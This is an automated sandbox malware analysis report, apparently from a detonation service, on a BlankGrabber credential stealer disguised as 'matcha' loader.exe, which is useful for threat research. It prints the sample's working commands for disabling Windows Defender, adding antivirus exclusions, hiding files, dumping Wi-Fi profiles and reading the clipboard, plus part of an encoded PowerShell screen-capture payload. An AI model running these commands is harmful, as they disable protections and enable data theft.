Malware Analysis Report

2024-11-13 17:37

Sample ID 241109-2rth2asrfw
Target matcha-version-b7eebc919e96477a.zip
SHA256 0cf7211f99b8aab9d62160266425b6413b4f5050778bbbfcdd916fb1fd57d0d2
Tags
upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer vmprotect blankgrabber
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0cf7211f99b8aab9d62160266425b6413b4f5050778bbbfcdd916fb1fd57d0d2

Threat Level: Known bad

The file matcha-version-b7eebc919e96477a.zip was found to be: Known bad.

Malicious Activity Summary

upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer vmprotect blankgrabber

A stealer written in Python and packaged with Pyinstaller

Blankgrabber family

Command and Scripting Interpreter: PowerShell

Reads user/profile data of web browsers

Unsecured Credentials: Credentials In Files

VMProtect packed file

Executes dropped EXE

Loads dropped DLL

Clipboard Data

Legitimate hosting services abused for malware hosting/C2

Accesses cryptocurrency files/wallets, possible credential harvesting

Looks up external IP address via web service

Obfuscated Files or Information: Command Obfuscation

Enumerates processes with tasklist

Hide Artifacts: Hidden Files and Directories

UPX packed file

Browser Information Discovery

System Network Configuration Discovery: Internet Connection Discovery

System Network Configuration Discovery: Wi-Fi Discovery

Event Triggered Execution: Netsh Helper DLL

Unsigned PE

Enumerates physical storage devices

Views/modifies file attributes

Suspicious use of WriteProcessMemory

Detects videocard installed

Suspicious use of AdjustPrivilegeToken

Runs ping.exe

Gathers system information

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-09 22:49

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

VMProtect packed file

vmprotect
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-09 22:49

Reported

2024-11-09 22:50

Platform

win7-20240708-en

Max time kernel

7s

Max time network

1s

Command Line

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

Signatures

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Processes

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI23842\python311.dll

MD5 1e76961ca11f929e4213fca8272d0194
SHA1 e52763b7ba970c3b14554065f8c2404112f53596
SHA256 8a0c27f9e5b2efd54e41d7e7067d7cb1c6d23bae5229f6d750f89568566227b0
SHA512 ec6ed913e0142a98cd7f6adced5671334ec6545e583284ae10627162b199e55867d7cf28efeaadce9862c978b01c234a850288e529d2d3e2ac7dbbb99c6cde9b

memory/2800-23-0x000007FEF6350000-0x000007FEF693A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-09 22:49

Reported

2024-11-09 22:52

Platform

win10v2004-20241007-en

Max time kernel

134s

Max time network

140s

Command Line

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

Signatures

Clipboard Data

collection
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI33122\rar.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

System Network Configuration Discovery: Wi-Fi Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3312 wrote to memory of 3112 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Users\Admin\AppData\Local\Temp\loader.exe
PID 3312 wrote to memory of 3112 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Users\Admin\AppData\Local\Temp\loader.exe
PID 3112 wrote to memory of 3160 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3160 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3780 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3780 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 4504 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 4504 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 4504 wrote to memory of 768 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4504 wrote to memory of 768 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2228 wrote to memory of 5036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2228 wrote to memory of 5036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3780 wrote to memory of 1932 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3780 wrote to memory of 1932 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2612 wrote to memory of 3052 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2612 wrote to memory of 3052 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3160 wrote to memory of 2844 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3160 wrote to memory of 2844 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1216 wrote to memory of 900 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 1216 wrote to memory of 900 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 3112 wrote to memory of 3836 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3836 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 4596 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 4596 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3004 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3004 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3976 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3976 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3872 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3872 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3712 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3712 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 2456 wrote to memory of 1240 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2456 wrote to memory of 1240 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3004 wrote to memory of 3812 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3004 wrote to memory of 3812 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3836 wrote to memory of 2348 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3836 wrote to memory of 2348 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4596 wrote to memory of 4672 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4596 wrote to memory of 4672 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3872 wrote to memory of 2400 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 3872 wrote to memory of 2400 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 3712 wrote to memory of 692 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3712 wrote to memory of 692 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3976 wrote to memory of 1516 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 3976 wrote to memory of 1516 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 3112 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 4000 wrote to memory of 3460 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 4000 wrote to memory of 3460 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 3112 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 1872 wrote to memory of 3892 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1872 wrote to memory of 3892 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3112 wrote to memory of 3428 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 3428 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\loader.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\loader.exe""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‏​.scr'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‏​.scr'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\loader.exe'

C:\Windows\system32\attrib.exe

attrib +h +s "C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsAD